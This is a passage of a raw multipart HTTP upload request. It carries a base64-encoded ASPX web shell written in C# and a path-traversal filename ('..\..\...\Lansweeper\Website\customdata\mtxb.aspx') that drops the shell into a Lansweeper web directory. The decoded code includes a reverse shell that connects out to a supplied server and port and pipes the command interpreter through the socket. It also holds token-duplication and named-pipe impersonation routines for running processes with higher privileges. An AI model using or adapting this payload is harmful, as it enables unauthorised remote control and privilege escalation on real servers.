4dGVybiBzdGF0aWMgYm9vbCBDcmVhdGVQcm9jZXNzQXNVc2VyKEludFB0ciBoVG9rZW4sIFN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwgU3RyaW5nIGxwQ29tbWFuZExpbmUsIHJlZiBTRUNVUklUWV9BVFRSSUJVVEVTIGxwUHJvY2Vzc0F0dHJpYnV0ZXMsDQogICAgICAgcmVmIFNFQ1VSSVRZX0FUVFJJQlVURVMgbHBUaHJlYWRBdHRyaWJ1dGVzLCBib29sIGJJbmhlcml0SGFuZGxlLCBpbnQgZHdDcmVhdGlvbkZsYWdzLCBJbnRQdHIgbHBFbnZpcm9ubWVudCwNCiAgICAgICBTdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LCByZWYgU1RBUlRVUElORk8gbHBTdGFydHVwSW5mbywgb3V0IFBST0NFU1NfSU5GT1JNQVRJT04gbHBQcm9jZXNzSW5mb3JtYXRpb24pOw0KDQogICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBFbnRyeVBvaW50ID0gIkR1cGxpY2F0ZVRva2VuRXgiKV0NCiAgIHB1YmxpYyBleHRlcm4gc3RhdGljIGJvb2wgRHVwbGljYXRlVG9rZW5FeChJbnRQdHIgRXhpc3RpbmdUb2tlbkhhbmRsZSwgdWludCBkd0Rlc2lyZWRBY2Nlc3MsDQogICAgICAgcmVmIFNFQ1VSSVRZX0FUVFJJQlVURVMgbHBUaHJlYWRBdHRyaWJ1dGVzLCBTRUNVUklUWV9JTVBFUlNPTkFUSU9OX0xFVkVMIEltcGVyc29uYXRpb25MZXZlLCBUT0tFTl9UWVBFIFRva2VuVHlwZSwNCiAgICAgICByZWYgSW50UHRyIER1cGxpY2F0ZVRva2VuSGFuZGxlKTsNCg0KICAgDQoNCiAgIGNvbnN0IGludCBFUlJPUl9OT19NT1JFX0lURU1TID0gMjU5Ow0KDQogICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldDQogICBzdHJ1Y3QgVE9LRU5fVVNFUg0KICAgew0KICAgICAgIHB1YmxpYyBfU0lEX0FORF9BVFRSSUJVVEVTIFVzZXI7DQogICB9DQoNCiAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0NCiAgIHB1YmxpYyBzdHJ1Y3QgX1NJRF9BTkRfQVRUUklCVVRFUw0KICAgew0KICAgICAgIHB1YmxpYyBJbnRQdHIgU2lkOw0KICAgICAgIHB1YmxpYyBpbnQgQXR0cmlidXRlczsNCiAgIH0NCg0KICAgW0RsbEltcG9ydCgiYWR2YXBpMzIiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgIHB1YmxpYyBleHRlcm4gc3RhdGljIGJvb2wgTG9va3VwQWNjb3VudFNpZA0KICAgKA0KICAgICAgIFtJbiwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBUU3RyKV0gc3RyaW5nIGxwU3lzdGVtTmFtZSwNCiAgICAgICBJbnRQdHIgcFNpZCwNCiAgICAgICBTdHJpbmdCdWlsZGVyIEFjY291bnQsDQogICAgICAgcmVmIGludCBjYk5hbWUsDQogICAgICAgU3RyaW5nQnVpbGRlciBEb21haW5OYW1lLA0KICAgICAgIHJlZiBpbnQgY2JEb21haW5OYW1lLA0KICAgICAgIHJlZiBpbnQgcGVVc2UgDQoNCiAgICk7DQoNCiAgIFtEbGxJbXBvcnQoImFkdmFwaTMyIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICBwdWJsaWMgZXh0ZXJuIHN0YXRpYyBib29sIENvbnZlcnRTaWRUb1N0cmluZ1NpZCgNCiAgICAgICBJbnRQdHIgcFNJRCwNCiAgICAgICBbSW4sIE91dCwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBUU3RyKV0gcmVmIHN0cmluZyBwU3RyaW5nU2lkKTsNCg0KDQogICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgQ2xvc2VIYW5kbGUoDQogICAgICAgSW50UHRyIGhIYW5kbGUpOw0KDQogICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBPcGVuUHJvY2VzcyhQcm9jZXNzQWNjZXNzRmxhZ3MgZHdEZXNpcmVkQWNjZXNzLCBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgYkluaGVyaXRIYW5kbGUsIHVpbnQgZHdQcm9jZXNzSWQpOw0KICAgW0ZsYWdzXQ0KICAgcHVibGljIGVudW0gUHJvY2Vzc0FjY2Vzc0ZsYWdzIDogdWludA0KICAgew0KICAgICAgIEFsbCA9IDB4MDAxRjBGRkYsDQogICAgICAgVGVybWluYXRlID0gMHgwMDAwMDAwMSwNCiAgICAgICBDcmVhdGVUaHJlYWQgPSAweDAwMDAwMDAyLA0KICAgICAgIFZNT3BlcmF0aW9uID0gMHgwMDAwMDAwOCwNCiAgICAgICBWTVJlYWQgPSAweDAwMDAwMDEwLA0KICAgICAgIFZNV3JpdGUgPSAweDAwMDAwMDIwLA0KICAgICAgIER1cEhhbmRsZSA9IDB4MDAwMDAwNDAsDQogICAgICAgU2V0SW5mb3JtYXRpb24gPSAweDAwMDAwMjAwLA0KICAgICAgIFF1ZXJ5SW5mb3JtYXRpb24gPSAweDAwMDAwNDAwLA0KICAgICAgIFN5bmNocm9uaXplID0gMHgwMDEwMDAwMA0KICAgfQ0KDQogICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCiAgIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEN1cnJlbnRQcm9jZXNzKCk7DQoNCiAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KICAgZXh0ZXJuIHN0YXRpYyBJbnRQdHIgR2V0Q3VycmVudFRocmVhZCgpOw0KDQoNCiAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQ0KICAgW3JldHVybjogTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldDQogICBzdGF0aWMgZXh0ZXJuIGJvb2wgRHVwbGljYXRlSGFuZGxlKEludFB0ciBoU291cmNlUHJvY2Vzc0hhbmRsZSwNCiAgICAgIEludFB0ciBoU291cmNlSGFuZGxlLCBJbnRQdHIgaFRhcmdldFByb2Nlc3NIYW5kbGUsIG91dCBJbnRQdHIgbHBUYXJnZXRIYW5kbGUsDQogICAgICB1aW50IGR3RGVzaXJlZEFjY2VzcywgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXSBib29sIGJJbmhlcml0SGFuZGxlLCB1aW50IGR3T3B0aW9ucyk7DQoNCiAgICBbRGxsSW1wb3J0KCJwc2FwaS5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIEVudW1Qcm9jZXNzTW9kdWxlcyhJbnRQdHIgaFByb2Nlc3MsDQogICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQQXJyYXksIEFycmF5U3ViVHlwZSA9IFVubWFuYWdlZFR5cGUuVTQpXSBbSW5dW091dF0gdWludFtdIGxwaE1vZHVsZSwNCiAgICB1aW50IGNiLA0KICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldIG91dCB1aW50IGxwY2JOZWVkZWQpOw0KDQogICAgW0RsbEltcG9ydCgicHNhcGkuZGxsIildDQogICAgc3RhdGljIGV4dGVybiB1aW50IEdldE1vZHVsZUJhc2VOYW1lKEludFB0ciBoUHJvY2VzcywgdWludCBoTW9kdWxlLCBTdHJpbmdCdWlsZGVyIGxwQmFzZU5hbWUsIHVpbnQgblNpemUpOw0KDQogICAgcHVibGljIGNvbnN0IHVpbnQgUElQRV9BQ0NFU1NfT1VUQk9VTkQgPSAweDAwMDAwMDAyOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IFBJUEVfQUNDRVNTX0RVUExFWCA9IDB4MDAwMDAwMDM7DQogICAgcHVibGljIGNvbnN0IHVpbnQgUElQRV9BQ0NFU1NfSU5CT1VORCA9IDB4MDAwMDAwMDE7DQogICAgcHVibGljIGNvbnN0IHVpbnQgUElQRV9XQUlUID0gMHgwMDAwMDAwMDsNCiAgICBwdWJsaWMgY29uc3QgdWludCBQSVBFX05PV0FJVCA9IDB4MDAwMDAwMDE7DQogICAgcHVibGljIGNvbnN0IHVpbnQgUElQRV9SRUFETU9ERV9CWVRFID0gMHgwMDAwMDAwMDsNCiAgICBwdWJsaWMgY29uc3QgdWludCBQSVBFX1JFQURNT0RFX01FU1NBR0UgPSAweDAwMDAwMDAyOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IFBJUEVfVFlQRV9CWVRFID0gMHgwMDAwMDAwMDsNCiAgICBwdWJsaWMgY29uc3QgdWludCBQSVBFX1RZUEVfTUVTU0FHRSA9IDB4MDAwMDAwMDQ7DQogICAgcHVibGljIGNvbnN0IHVpbnQgUElQRV9DTElFTlRfRU5EID0gMHgwMDAwMDAwMDsNCiAgICBwdWJsaWMgY29uc3QgdWludCBQSVBFX1NFUlZFUl9FTkQgPSAweDAwMDAwMDAxOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IFBJUEVfVU5MSU1JVEVEX0lOU1RBTkNFUyA9IDI1NTsNCg0KICAgIHB1YmxpYyBjb25zdCB1aW50IE5NUFdBSVRfV0FJVF9GT1JFVkVSID0gMHhmZmZmZmZmZjsNCiAgICBwdWJsaWMgY29uc3QgdWludCBOTVBXQUlUX05PV0FJVCA9IDB4MDAwMDAwMDE7DQogICAgcHVibGljIGNvbnN0IHVpbnQgTk1QV0FJVF9VU0VfREVGQVVMVF9XQUlUID0gMHgwMDAwMDAwMDsNCg0KICAgIHB1YmxpYyBjb25zdCB1aW50IEdFTkVSSUNfUkVBRCA9ICgweDgwMDAwMDAwKTsNCiAgICBwdWJsaWMgY29uc3QgdWludCBHRU5FUklDX1dSSVRFID0gKDB4NDAwMDAwMDApOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IEdFTkVSSUNfRVhFQ1VURSA9ICgweDIwMDAwMDAwKTsNCiAgICBwdWJsaWMgY29uc3QgdWludCBHRU5FUklDX0FMTCA9ICgweDEwMDAwMDAwKTsNCg0KICAgIHB1YmxpYyBjb25zdCB1aW50IENSRUFURV9ORVcgPSAxOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IENSRUFURV9BTFdBWVMgPSAyOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IE9QRU5fRVhJU1RJTkcgPSAzOw0KICAgIHB1YmxpYyBjb25zdCB1aW50IE9QRU5fQUxXQVlTID0gNDsNCiAgICBwdWJsaWMgY29uc3QgdWludCBUUlVOQ0FURV9FWElTVElORyA9IDU7DQoNCiAgICBwdWJsaWMgY29uc3QgaW50IElOVkFMSURfSEFORExFX1ZBTFVFID0gLTE7DQoNCiAgICBwdWJsaWMgY29uc3QgdWxvbmcgRVJST1JfU1VDQ0VTUyA9IDA7DQogICAgcHVibGljIGNvbnN0IHVsb25nIEVSUk9SX0NBTk5PVF9DT05ORUNUX1RPX1BJUEUgPSAyOw0KICAgIHB1YmxpYyBjb25zdCB1bG9uZyBFUlJPUl9QSVBFX0JVU1kgPSAyMzE7DQogICAgcHVibGljIGNvbnN0IHVsb25nIEVSUk9SX05PX0RBVEEgPSAyMzI7DQogICAgcHVibGljIGNvbnN0IHVsb25nIEVSUk9SX1BJUEVfTk9UX0NPTk5FQ1RFRCA9IDIzMzsNCiAgICBwdWJsaWMgY29uc3QgdWxvbmcgRVJST1JfTU9SRV9EQVRBID0gMjM0Ow0KICAgIHB1YmxpYyBjb25zdCB1bG9uZyBFUlJPUl9QSVBFX0NPTk5FQ1RFRCA9IDUzNTsNCiAgICBwdWJsaWMgY29uc3QgdWxvbmcgRVJST1JfUElQRV9MSVNURU5JTkcgPSA1MzY7DQoNCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlTmFtZWRQaXBlKA0KICAgICAgICBTdHJpbmcgbHBOYW1lLAkJCQkJCQkJCQ0KICAgICAgICB1aW50IGR3T3Blbk1vZGUsCQkJCQkJCQkNCiAgICAgICAgdWludCBkd1BpcGVNb2RlLAkJCQkJCQkJDQogICAgICAgIHVpbnQgbk1heEluc3RhbmNlcywJCQkJCQkJDQogICAgICAgIHVpbnQgbk91dEJ1ZmZlclNpemUsCQkJCQkJDQogICAgICAgIHVpbnQgbkluQnVmZmVyU2l6ZSwJCQkJCQkJDQogICAgICAgIHVpbnQgbkRlZmF1bHRUaW1lT3V0LAkJCQkJCQ0KICAgICAgICBJbnRQdHIgcGlwZVNlY3VyaXR5RGVzY3JpcHRvcg0KICAgICAgICApOw0KDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDb25uZWN0TmFtZWRQaXBlKA0KICAgICAgICBJbnRQdHIgaEhhbmRsZSwNCiAgICAgICAgdWludCBscE92ZXJsYXBwZWQNCiAgICAgICAgKTsNCg0KICAgIFtEbGxJbXBvcnQoIkFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQ0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgSW1wZXJzb25hdGVOYW1lZFBpcGVDbGllbnQoDQogICAgICAgIEludFB0ciBoSGFuZGxlKTsNCg0KICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQ0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0TmFtZWRQaXBlSGFuZGxlU3RhdGUoDQogICAgICAgIEludFB0ciBoSGFuZGxlLA0KICAgICAgICBJbnRQdHIgbHBTdGF0ZSwNCiAgICAgICAgSW50UHRyIGxwQ3VySW5zdGFuY2VzLA0KICAgICAgICBJbnRQdHIgbHBNYXhDb2xsZWN0aW9uQ291bnQsDQogICAgICAgIEludFB0ciBscENvbGxlY3REYXRhVGltZW91dCwNCiAgICAgICAgU3RyaW5nQnVpbGRlciBscFVzZXJOYW1lLA0KICAgICAgICBpbnQgbk1heFVzZXJOYW1lU2l6ZQ0KICAgICAgICApOw0KIA0KICAgIHByb3RlY3RlZCB2b2lkIENhbGxiYWNrU2hlbGwoc3RyaW5nIHNlcnZlciwgaW50IHBvcnQpDQogICAgew0KDQogICAgICAgIHN0cmluZyByZXF1ZXN0ID0gIlNwYXduIFNoZWxsLi4uXG4iOw0KICAgICAgICBCeXRlW10gYnl0ZXNTZW50ID0gRW5jb2RpbmcuQVNDSUkuR2V0Qnl0ZXMocmVxdWVzdCk7DQoNCiAgICAgICAgSW50UHRyIG91cnNvY2tldCA9IEludFB0ci5aZXJvOw0KICAgICAgICANCiAgICAgICAgc29ja2FkZHJfaW4gc29ja2V0aW5mbzsNCiAgICAgICAgb3Vyc29ja2V0ID0gV1NBU29ja2V0KEFkZHJlc3NGYW1pbHkuSW50ZXJOZXR3b3JrLFNvY2tldFR5cGUuU3RyZWFtLFByb3RvY29sVHlwZS5JUCwgSW50UHRyLlplcm8sIDAsIDApOw0KICAgICAgICBzb2NrZXRpbmZvID0gbmV3IHNvY2thZGRyX2luKCk7DQogICAgICAgIHNvY2tldGluZm8uc2luX2ZhbWlseSA9IChzaG9ydCkgQWRkcmVzc0ZhbWlseS5JbnRlck5ldHdvcms7DQogICAgICAgIHNvY2tldGluZm8uc2luX2FkZHIgPSBpbmV0X2FkZHIoc2VydmVyKTsNCiAgICAgICAgc29ja2V0aW5mby5zaW5fcG9ydCA9IChzaG9ydCkgaHRvbnMoKHVzaG9ydClwb3J0KTsNCiAgICAgICAgY29ubmVjdChvdXJzb2NrZXQsIHJlZiBzb2NrZXRpbmZvLCBNYXJzaGFsLlNpemVPZihzb2NrZXRpbmZvKSk7DQogICAgICAgIHNlbmQob3Vyc29ja2V0LCBieXRlc1NlbnQsIHJlcXVlc3QuTGVuZ3RoLCAwKTsNCiAgICAgICAgU3Bhd25Qcm9jZXNzQXNQcml2KG91cnNvY2tldCk7DQogICAgICAgIGNsb3Nlc29ja2V0KG91cnNvY2tldCk7DQogICAgfQ0KDQogICAgcHJvdGVjdGVkIHZvaWQgU3Bhd25Qcm9jZXNzKEludFB0ciBvdXJzb2NrZXQpDQogICAgew0KICAgICAgICBib29sIHJldFZhbHVlOw0KICAgICAgICBzdHJpbmcgQXBwbGljYXRpb24gPSBFbnZpcm9ubWVudC5HZXRFbnZpcm9ubWVudFZhcmlhYmxlKCJjb21zcGVjIik7IA0KICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBJbmZvID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsNCiAgICAgICAgU1RBUlRVUElORk8gc0luZm8gPSBuZXcgU1RBUlRVUElORk8oKTsNCiAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBwU2VjID0gbmV3IFNFQ1VSSVRZX0FUVFJJQlVURVMoKTsNCiAgICAgICAgcFNlYy5MZW5ndGggPSBNYXJzaGFsLlNpemVPZihwU2VjKTsNCiAgICAgICAgc0luZm8uZHdGbGFncyA9IDB4MDAwMDAxMDE7DQogICAgICAgIHNJbmZvLmhTdGRJbnB1dCA9IG91cnNvY2tldDsNCiAgICAgICAgc0luZm8uaFN0ZE91dHB1dCA9IG91cnNvY2tldDsNCiAgICAgICAgc0luZm8uaFN0ZEVycm9yID0gb3Vyc29ja2V0Ow0KICAgICAgICByZXRWYWx1ZSA9IENyZWF0ZVByb2Nlc3MoQXBwbGljYXRpb24sICIiLCByZWYgcFNlYywgcmVmIHBTZWMsIHRydWUsIDAsIEludFB0ci5aZXJvLCBudWxsLCByZWYgc0luZm8sIG91dCBwSW5mbyk7DQogICAgICAgIFdhaXRGb3JTaW5nbGVPYmplY3QocEluZm8uaFByb2Nlc3MsIChpbnQpSU5GSU5JVEUpOw0KICAgIH0NCg0KICAgIHByb3RlY3RlZCB2b2lkIFNwYXduUHJvY2Vzc0FzUHJpdihJbnRQdHIgb3Vyc29ja2V0KQ0KICAgIHsNCiAgICAgICAgYm9vbCByZXRWYWx1ZTsNCiAgICAgICAgc3RyaW5nIEFwcGxpY2F0aW9uID0gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiY29tc3BlYyIpOyANCiAgICAgICAgUFJPQ0VTU19JTkZPUk1BVElPTiBwSW5mbyA9IG5ldyBQUk9DRVNTX0lORk9STUFUSU9OKCk7DQogICAgICAgIFNUQVJUVVBJTkZPIHNJbmZvID0gbmV3IFNUQVJUVVBJTkZPKCk7DQogICAgICAgIFNFQ1VSSVRZX0FUVFJJQlVURVMgcFNlYyA9IG5ldyBTRUNVUklUWV9BVFRSSUJVVEVTKCk7DQogICAgICAgIHBTZWMuTGVuZ3RoID0gTWFyc2hhbC5TaXplT2YocFNlYyk7DQogICAgICAgIHNJbmZvLmR3RmxhZ3MgPSAweDAwMDAwMTAxOyANCiAgICAgICAgSW50UHRyIER1cGVUb2tlbiA9IG5ldyBJbnRQdHIoMCk7DQogICAgICAgIHNJbmZvLmhTdGRJbnB1dCA9IG91cnNvY2tldDsNCiAgICAgICAgc0luZm8uaFN0ZE91dHB1dCA9IG91cnNvY2tldDsNCiAgICAgICAgc0luZm8uaFN0ZEVycm9yID0gb3Vyc29ja2V0Ow0KICAgICAgICBpZiAoRHVwZVRva2VuID09IEludFB0ci5aZXJvKQ0KICAgICAgICAgICAgcmV0VmFsdWUgPSBDcmVhdGVQcm9jZXNzKEFwcGxpY2F0aW9uLCAiIiwgcmVmIHBTZWMsIHJlZiBwU2VjLCB0cnVlLCAwLCBJbnRQdHIuWmVybywgbnVsbCwgcmVmIHNJbmZvLCBvdXQgcEluZm8pOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICByZXRWYWx1ZSA9IENyZWF0ZVByb2Nlc3NBc1VzZXIoRHVwZVRva2VuLCBBcHBsaWNhdGlvbiwgIiIsIHJlZiBwU2VjLCByZWYgcFNlYywgdHJ1ZSwgMCwgSW50UHRyLlplcm8sIG51bGwsIHJlZiBzSW5mbywgb3V0IHBJbmZvKTsNCiAgICAgICAgV2FpdEZvclNpbmdsZU9iamVjdChwSW5mby5oUHJvY2VzcywgKGludClJTkZJTklURSk7DQogICAgICAgIENsb3NlSGFuZGxlKER1cGVUb2tlbik7DQogICAgfQ0KICAgIDwvc2NyaXB0Pg0K
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="inlineattachmentname1"

..\..\..\..\..\..\..\Program Files (x86)\Lansweeper\Website\customdata\mtxb.aspx.
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="inlineattachmentste"

1
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="filestodelete"

-----------------------------402354709241583492252394616219--